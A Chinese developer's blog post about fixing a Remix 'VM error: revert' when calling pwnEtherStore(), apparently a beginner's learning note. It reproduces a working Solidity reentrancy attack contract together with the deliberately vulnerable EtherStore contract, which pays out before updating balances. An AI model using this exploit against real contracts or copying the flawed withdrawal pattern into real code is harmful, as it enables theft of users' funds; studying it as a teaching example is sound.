记一次solidity异常报错

     初学者,solidity智能合约开发,在remix上向合约转账,报错信息如下:

transact to Attack.pwnEtherStore errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.

代码如下:代码为网上例子,调用pwnEtherStore()报以上错误,百度无果,后来仔细查找资料,发现要在remix设置value的值(要大于等于转账的以太币),记一次solidity异常报错_第1张图片,设置后运行正常:

// Attack合约代码
pragma solidity >=0.4.22 <0.6.0;
import "browser/EtherStore.sol";
contract Attack {
     EtherStore public etherStore;

      // intialise the etherStore variable with the contract address
     constructor(address _etherStoreAddress) public payable{
         etherStore = EtherStore(_etherStoreAddress);
     }
    
      function pwnEtherStore() public payable {
          // attack to the nearest ether
         require(msg.value >= 1 ether); 
         // send eth to the depositFunds() function
         etherStore.depositFunds.value(1 ether)();
          // start the magic
         etherStore.withdrawFunds(1 ether);
     }
    
      function collectEther() public {
         msg.sender.transfer(this.balance);
      } 

    //fallback function - where the magic happens
     function () payable {
          if (etherStore.balance > 1 ether) {
             etherStore.withdrawFunds(1 ether);
         }
     }
    // get ether from etherStore
    function getEther() returns (uint256){
        return etherStore.getEtherByAddress();
    }
    
    function getBalance() public view returns(uint) {
        return this.balance;
    }
    
    function getRandomBalance(address addr) view returns(uint) {
        return addr.balance;
    }
}
// EtherStore合约代码
pragma solidity >=0.4.22 <0.6.0;
contract EtherStore {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() payable{
        balances[msg.sender] += msg.value;
    }
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // 限制withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw 
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        msg.sender.call.value(_weiToWithdraw)();
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
    
    function getEtherByAddress() public view returns (uint256){
        return balances[msg.sender];
    }
    function() public payable {
        
    }
    function storeEtherByCustomer() public payable {
        
    }
}

          虽然很简单的错误,但是报错信息显示不是很准确苦恼了挺长时间,特此记录下来

你可能感兴趣的:(记一次solidity异常报错)